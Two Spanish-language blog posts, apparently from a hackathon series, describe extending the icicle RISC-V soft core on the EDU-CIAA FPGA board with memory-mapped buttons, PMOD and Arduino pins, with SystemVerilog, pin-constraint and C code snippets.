
Notarás tambien que en el caso de no estar definido se le asigna cero a la lectura y siempre listo:

 

`ifdef PMOD1
    assign pmod1_read_value = {24'b0, pmod1_sel ? pmod1 : 8'b0};
    assign pmod1_ready = pmod1_sel;
`else
    assign pmod1_read_value = 0;
    assign pmod1_ready = pmod1_sel;
`endif

Como programador me asusta la línea repetida, pero me parece más clara, así que ahí queda por ahora.

Cuando si está definido, como son los 8 bits menos significativos, se le ponen ceros. Luego, si ha sido seleccionado el valor de los pines, si no, ceros.


Fijate que ese XXX_read_value va a parar a un bruto OR, por eso la asignación debe estar condicionada:

assign mem_read_value = ram_read_value | leds_read_value | buttons_read_value | pmod0_read_value | pmod1_read_value | arduino_read_value | uart_read_value | timer_read_value | flash_read_value;
 

Parecido los XXX_ready:

assign mem_ready = ram_ready | leds_ready | buttons_ready | pmod0_ready | pmod1_ready | arduino_ready | uart_ready | timer_ready | flash_ready | mem_fault;

Luego, hay que copiar/pegar/editar leds o buttons según quieras leer o escribir.

En el caso de arduino con más de 8 bits, hay que implementar los cuatro ifs, es por que... mmh, luego voy a investigarlo mejor, me parece que se puede simplificar, va como tarea al backlog que tengo conectado a /dev/null.

Creo que finalmente, hay que mapear:

La idea sería algo como (quité algunos ceros para que no salte la línea):

32'b..._00000001_00000000_000011??: pmod1_sel   = 1; // 0x0001000c
32'b..._00000001_00000000_000100??: arduino_sel = 1; // 0x00010010

Esos dos ?? son dos bits, cuatro posiciones. Para los pmods sobra, para el arduino está ok.

Para 0x0001000c no hay nada en:

0x0001000d
0x0001000e
0x0001000f

En cambio para arduino, se usan los cuatro bytes (32 bits):

0x00010010
0x00010011
0x00010012
0x00010013

 

Luego en el programa:

#define PMOD1       *((volatile uint32_t *) 0x0001000c)
#define ARDUINO     *((volatile uint32_t *) 0x00010010)

En la carpeta programs hay... programas, ¿qué esperabas? El ejemplo más completo es buttons2ledsArduinoShiftPmodToPmod que no hace falta que te explique que los botones que aprietes se van a manifestar en los leds y que lo que pongas en un pmod saldrá por el otro y que en el conector arduino verás unos bits moviéndose.

 

El shift en el conector arduino
El shift en el conector arduino

El shift es medio raro por como armé el pinout, va en zig-zag. Y el pin 89 estába mal etiquetado, es 82, ya avisé.

 


 

Los switches que uso para el pmod tienen décadas, no andan del todo bien...

 

Si mirás el código en icicle.sv, verás que para leds y buttons estoy usando los parámetros LEDCOUNT y BUTTONCOUNT respectivamente, no así parámetros para los pmods ni arduino. Esto es por que no espero que tengan valores variables. De hecho, esos parámetros son una gentileza para quien quiera adaptar a las otras placas, la edu-ciaa-fpga tiene 4 y 4, listo.

Pude haber hecho bloques de 8 bits o 4 y así combinar inputs con outputs con facilidad y mejor aún llevar el concepto a dos módulos, ponele GPInput y GPOutput, o mucho mejor implementar el módulo GPIO, pero eso me desvía de mi proyecto, yo voy a usar los pines directamente, el archivo de defines lo voy a tener vacío. No quiero ni necesito que haya nada mapeado a la memoria ni que sea accesible desde el programa en ejecución.


El módulo GPIO

 

Este debería tener al menos una máscara de selección de sentido, quizás otra de enable/disable, lo mejor que se me ocurre es agrandar la distancia que hay en el casez (mem_address) entre direcciones y que luego el módulo termine de determinar si la interacción es con las máscaras o con los registros de datos. 

Desde el momento que no hay interrupciones, no vale la pena preocuparse por ellas.

Ya tengo un branch local con el código para pines inout, algún dia...

 

Conclusiones

 

He usado variables desde programas en C, ¿quién no? He usado funciones o macros provistas por el fabricante para configurar y acceder los puertos, magia. He visto que Vivado cuando le dás un dispositivo para usar desde la PYNQ te define direcciones de memoria donde va a estar. (dos seriales, pynq con acelerador, acelerador con serial, acelerador con leak).

Ahora he mapeado dispositivos a posiciones de memoria y lo he hecho de modo incremental.

Para ello, no me he tenido que preocupar mucho por el legacy, son cuatro programas.

Tampoco por unos bytes más o menos ni por el silicio que consuman.

Este proyecto es muy recomendable para poder comprender realmente estos conceptos y porqué a veces los registros están con un orden aparentemente razonable y otra veces no. Lo que te propongo es que te bajes el repo:

git clone https://github.com/ciaa/icicle.git

y te pares donde tomé yo:

git checkout f63f218

y te diviertas reconstruyendo mi camino o tomando el tuyo propio.


Uno de estos días cuando Pablo acepte mi segundo pull request, verás todo. O podés hacer trampa.


 





2021/09/09

H4CK3D 2021: leyendo los botones de la placa

Para entender el contexto, te recomiendo leer antes los primeros pasos.

Habíamos quedado en que necesitaba leer los botones y ya había spoileado que icicle no tiene implementado GPIO.

set_io clk       94
set_io leds[0]   1
set_io leds[1]   2
set_io leds[2]   3
set_io leds[3]   4
set_io leds[4]   7
set_io leds[5]   8
set_io leds[6]   9
set_io leds[7]   10
set_io uart_rx   55
set_io uart_tx   56

 

Lo primero que me llamó la atención es que tuviera en el archivo .pcf declarados 8 leds, considerando que la placa tiene 4. Tras consultar el pinout, no sé si soy corto o no está muy fácil de encontrar, y con el tester comprobé que de 4 a 7 están en un PMOD, ok.

Para ir entendiendo el panorama seguí a rx y tx de la uart, suponiendo que por ser de lectura y escritura me iban a contar algo, pero no. 

Miré el código en el programa, ok, esto me cuenta que los leds están mapeados en la dirección 0x00010000.

 

#define LEDS        *((volatile uint32_t *) 0x00010000)
#define UART_BAUD   *((volatile uint32_t *) 0x00020000)
#define UART_STATUS *((volatile uint32_t *) 0x00020004)
#define UART_DATA   *((volatile  int32_t *) 0x00020008)


Este caminito que te conté no es exactamente el que seguí, lo mío tuvo una trayectoria más cuántica y por más que intenté tomar nota, no deja de ser un relato un poco inventado.

Le cambié los nombres en el .pcf:

set_io leds[0]   1
set_io leds[1]   2
set_io leds[2]   3
set_io leds[3]   4
set_io pmod[4]   7
set_io pmod[5]   8
set_io pmod[6]   9
set_io pmod[3]   10

 

y si sabés más que yo anticiparás que me dió error, pues en algún lugar del HDL dice [7:0] leds y no [3:0] leds.

 

Warning: unmatched constraint 'pmod[4]' (on line 6)
Warning: unmatched constraint 'pmod[5]' (on line 7)
Warning: unmatched constraint 'pmod[6]' (on line 8)
Warning: unmatched constraint 'pmod[7]' (on line 9)
ERROR: IO 'leds[7]' is unconstrained in PCF (override this error with --pcf-allow-unconstrained)
ERROR: Loading PCF failed.
4 warnings, 2 errors
make: *** [arch/ice40.mk:24: top_syn.asc] Error 255

 

Decidí ir al último recurso que es ver la documentación y en el README.md dice que tiene:

 

Current Features
  • Memory-mapped UART and LEDs.

y que no tiene:

Planned features

  • Memory-mapped GPIOs.

 

Esto me cuenta que los leds no están implementados como GPIOs, que no hay manera de leer los botones con lo implementado.

Momento de pánico, casi sale mail al autor solicitando ayuda y a embebidos para proponer un grupo de trabajo, pero eran las 4:30 am, me dije que tenía que escarbar un poco más.

 

Me puse a hacer git greps y encontre'en icicle.sv este código:

/* LEDs */
output logic [7:0] leds,
...

casez (mem_address)
    32'b00000000_00000000_????????_????????: ram_sel = 1;
    32'b00000000_00000001_00000000_000000??: leds_sel = 1;
    32'b00000000_00000010_00000000_0000????: uart_sel = 1;
    32'b00000000_00000011_00000000_0000????: timer_sel = 1;
    32'b00000001_????????_????????_????????: flash_sel = 1;
    default:                                 mem_fault = 1;

endcase

 

Lo que hace es determinar según la dirección de memoria apuntada quien se va a encargar, ahora nos interesa leds_sel por que debe ser lo más parecido a los botones.

Luego tenemos el código de leds, si te fijás esto contrasta con el resto de los componentes, que no están tirados por ahí si no que tienen sus propios módulos.

logic [31:0] leds_read_value;
logic leds_ready;

assign leds_read_value = {24'b0, leds_sel ? leds : 8'b0};
assign leds_ready = leds_sel;

always_ff @(posedge clk) begin
    if (leds_sel && mem_write_mask[0])
        leds <= mem_write_value[7:0];
end

Tras algunas exploraciones un tanto indescriptibles, me puse a modificar.

En boards/edufpga.pcf agregué los pines, una mitad asignada a los botones, la otra a un PMOD, tal como esta con los leds.

set_io buttons[0] 31
set_io buttons[1] 32
set_io buttons[2] 33
set_io buttons[3] 34
set_io buttons[4] 11
set_io buttons[5] 12
set_io buttons[6] 15
set_io buttons[7] 16


En programs/hello/main.c asigné los botones a los leds:

#define LEDS        *((volatile uint32_t *) 0x00010000)
#define BUTTONS     *((volatile uint32_t *) 0x00010004)

while (1) {

  LEDS = ~BUTTONS;

}

En top.sv conecté los botones al exterior por el hecho de declararlos y luego los conecté a icicle:

module top(
    ...
    /* LEDs */
    output logic [7:0] leds,

    /* BUTTONS */
    input [7:0] buttons,
    ...
    );

    icicle icicle (
       .clk(pll_clk),
       ...
       /* LEDs */
       .leds(leds),

       /* BUTTONs */
       .buttons(buttons),
       ...
     );

 

En icicle.sv declaré los botones en la interfaz:


module icicle (
    input clk,
    input reset,
    ...    
    /* LEDs */
    output logic [7:0] leds,

    /* BUTTONS */
    input [7:0] buttons,
    ...
);


Conecté los botones a la salida y a la señal de que es leible:

    ...
    assign mem_read_value = ram_read_value | leds_read_value | buttons_read_value | uart_read_value | timer_read_value | flash_read_value;


    assign mem_ready = ram_ready | leds_ready | buttons_ready | uart_ready | timer_ready | flash_ready |
    ...

    
Agregué al selector de dispositivos por decirle de algún modo, la dirección de los botones:

...
logic leds_sel;
logic buttons_sel;
...
    
always_comb begin
  ...
  leds_sel = 0;
  buttons_sel = 0;    
  ...
  casez (mem_address)
      32'b00000000_00000000_????????_????????: ram_sel = 1;
      32'b00000000_00000001_00000000_000000??: leds_sel = 1;
      32'b00000000_00000001_00000000_000001??: buttons_sel = 1;
      32'b00000000_00000010_00000000_0000????: uart_sel = 1;
      32'b00000000_00000011_00000000_0000????: timer_sel = 1;
      32'b00000001_????????_????????_????????: flash_sel = 1;
      default:                                 mem_fault = 1;

  endcase


y finalmente la lógica, a continuación de la de los leds:

assign leds_read_value = {24'b0, leds_sel ? leds : 8'b0};
assign leds_ready = leds_sel;

always_ff @(posedge clk) begin
    if (leds_sel && mem_write_mask[0])
        leds <= mem_write_value[7:0];
end

logic [31:0] buttons_read_value;
logic buttons_ready;

assign buttons_read_value = {24'b0, buttons_sel ? buttons : 8'b0};
assign buttons_ready = buttons_sel;


    
Asombrosamente, si dejamos de lado algún que otro errorcito de sintaxis, me salió a la primera, nada mal considerando que nunca había visto System Verilog, igual no es muy distinto a Verilog.

Tiene un delay bastante apreciable y necesita un pulso de al menos XXX ms para que se active, no sé si soy yo o es inherente.


Ese pulso lo podría calcular de la siguiente manera, con un microcontrolador generar pulsos cuya longitud esté determinada por la lectura de un potenciómetro y que muestre en el puerto serial la longitud actual, mientras, conecto en el programa los 4 bits de los botones al los leds 5-8 que están mapeados al pmod donde miro con el osciloscopio si se activa o no y si hay ruido. A fines prácticos, estamos listos para continuar, no hace falta el experimento. 

Hay un montón de potencial, como por ejemplo implementar GPIO para poder desde el programa determinar qué es de entrada y qué de salida, tal como está ahora hay que tocar el HDL.

Cuesta verlo, pero tengo apretados los botones de los extremos, prenden los leds de los extremos.

 

Botones en acción
Botones en acción


 

De lo externo a la POC, esto era lo más difícil.

Paciencia, uno de estos días versiono y hago el pull request a ciaa/icicle.